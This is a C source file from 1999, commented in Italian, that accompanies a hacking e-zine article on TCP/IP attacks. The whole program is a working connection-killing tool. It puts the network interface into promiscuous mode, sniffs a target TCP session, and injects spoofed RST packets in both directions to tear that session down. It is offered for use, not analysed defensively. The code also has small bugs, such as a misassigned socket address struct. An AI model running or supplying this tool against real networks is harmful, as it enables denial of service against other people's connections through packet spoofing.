/************************************************************************
*                  *
* RST.c        Codice di accompagnamento a parte  *
*        dell'articolo "TCP/IP Hacks for Phun  *
*        and Profit" su BFi5. Puoi trovare BFi  *
*        all'URL http://softpj98.bbk.org/bfi/  *
*                  *
*        RST Storm per distruggere link TCP  *
*        Forza Bruta. Non stile :) . Lo stile  *
*        dovete aggiungerlo voi. Questo e' solo  *
*        codice esplicativo, non supremo.  *
*                  *
*         (C)1999 FuSyS TCP/IP Tools Unlimited  *
************************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#include <ioctls.h>

#define RSTS    10
#define IF    "eth0"

int sp_fd;

unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
        unsigned long sum;

        __asm__ __volatile__("
            movl (%1), %0
            subl $4, %2
            jbe 2f
            addl 4(%1), %0
            adcl 8(%1), %0
            adcl 12(%1), %0
1:          adcl 16(%1), %0
            lea 4(%1), %1
            decl %2
            jne 1b
            adcl $0, %0
            movl %0, %2
            shrl $16, %0
            addw %w2, %w0
            adcl $0, %0
            notl %0
2:
       "
        : "=r" (sum), "=r" (iph), "=r" (ihl)
        : "1" (iph), "2" (ihl));
        return(sum);
}

struct tcppk {                         
        struct iphdr ip;
        struct tcphdr tcp;
        char data[1500];
};

struct pseudo {
  unsigned long saddr, daddr;
  unsigned char zero, proto;
  unsigned short len;
};

void raw(void)
{
    int opt=1;

    if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){
        perror("\nRAWIP() RAW Socket problems [Died]");
        exit();
    }
    if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){
            perror("RAWIP() Cannot set IP_HDRINCL [Died]");
            exit();
    }

}

int tap(char* device,int mode)
{
    int fd;
    struct ifreq ifr;

    if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){
        perror("SNIFF() SOCK_PACKET allocation problems [Died]");
        exit();
    }

    strcpy(ifr.ifr_name,device);
    if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){    
        perror("SNIFF() Can't get device flags [Died]");
        close(fd);
        exit();
    }

    if(!mode)ifr.ifr_flags ^= IFF_PROMISC;
    else ifr.ifr_flags |= IFF_PROMISC;
    if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){
        perror("SNIFF() Can't set/unset promiscuous mode [Died]");
        close(fd);
        exit();
    }

    if(!mode){
        close(fd);
        return(0);
    }
    else return(fd);
}

unsigned long in_aton(const char *str)
{
        unsigned long l;
        unsigned long val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++)
        {
           l <<= 8;
           if (*str != '\0')
           {
               val = 0;
               while (*str != '\0' && *str != '.')
               {
                        val *= 10;
                        val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}

void uff(void) {
  printf("\nUso: RST sourceIP src_port destIP dest_port\n\n");
  exit(1);
}

int main(int argc, char **argv) {

  unsigned char buffer[1500], checkbuff[32], checkbuff2[32];
  struct sockaddr_in sin, sin2;
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct pseudo *psp, *psp2;
  struct tcppk tpk, tpk2;
  int sniff, snt, snt2, rst=0;
  unsigned long saddr, daddr;
  unsigned short src, dest;

  if(argc<5) {
    uff();
    exit(1);
  }
  saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
  src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));

  sniff=tap(IF, 1);
  raw();

  if(setpriority(0, 0, -20) <0){
                printf("\nRST setpriority Error\n");
        }

        ip = (struct iphdr *)(((char *)buffer)+14);
        tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14));
        psp = (struct pseudo *)checkbuff;
  psp2 = (struct pseudo *)checkbuff2;

  memset(&sin, 0, sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=src;
        sin.sin_addr.s_addr=saddr;
  memset(&sin2, 0, sizeof(sin2));
  sin.sin_family=AF_INET;
        sin.sin_port=dest;
        sin.sin_addr.s_addr=daddr;

        memset(&tpk, 0, sizeof(tpk));
  memset(&tpk2, 0, sizeof(tpk2));
  memset(psp, 0, sizeof(struct pseudo));
  memset(psp2, 0, sizeof(struct pseudo));  

        tpk.ip.ihl=5;
        tpk.ip.version=4;
        tpk.ip.tos=0;
        tpk.ip.tot_len=htons(40);
        tpk.ip.frag_off=0;
        tpk.ip.ttl=64;
        tpk.ip.protocol=IPPROTO_TCP;
        tpk.ip.saddr=daddr;
        tpk.ip.daddr=saddr;
        tpk.tcp.source=dest;
        tpk.tcp.dest=src;
        tpk.tcp.doff=5;
        tpk.tcp.rst=1;
        tpk.tcp.ack=1;
        tpk.tcp.window=0;
        psp->saddr=tpk.ip.daddr;
        psp->daddr=tpk.ip.saddr;
        psp->zero=0;
        psp->proto=IPPROTO_TCP;
        psp->len=htons(20);
  tpk2=tpk;
  tpk2.ip.saddr=saddr;
  tpk2.ip.daddr=daddr;
  tpk2.tcp.source=src;
  tpk2.tcp.dest=dest;
  psp2->saddr=tpk.ip.saddr;
        psp2->daddr=tpk.ip.daddr;
        psp2->zero=0;
        psp2->proto=IPPROTO_TCP;
        psp2->len=htons(20);

        printf("RSTing :\t%s:%d > %s:%d\n",
                argv[1], src, argv[3], dest);
        while(read(sniff, &buffer, sizeof(buffer))) {
                if(ip->saddr==daddr &&
                   ip->daddr==saddr &&
                        tcp->source==dest &&
                        tcp->dest==src) {
      tpk.tcp.seq=tcp->seq+htonl(
                          ntohs(ip->tot_len)-40);
                        tpk.tcp.ack_seq=tcp->ack_seq;
      tpk2.tcp.seq=tcp->ack_seq;
      tpk2.tcp.ack_seq=tcp->seq+htonl(
                                ntohs(ip->tot_len)-40);
                        memcpy(checkbuff+12, &tpk.tcp, 20);
                        tpk.tcp.check=ip_fast_csum(
                                (unsigned char *)checkbuff,32);
      memcpy(checkbuff2+12, &tpk2.tcp, 20);
                        tpk2.tcp.check=ip_fast_csum(
                                (unsigned char *)checkbuff2,32);
                          for(; rst<RSTS; rst++) {
        snt2=sendto(sp_fd, &tpk2, 40, 0,
        (struct sockaddr *)&sin2, sizeof(sin2));
                                snt=sendto(sp_fd, &tpk, 40, 0,
                                (struct sockaddr *)&sin, sizeof(sin));
                                if(snt<0)printf("[SP00F_ERROR]");
        else printf("[RST]");
                          }
        break;
                }
        }
  printf("\n");
  tap(IF, 0);
  exit(0);
}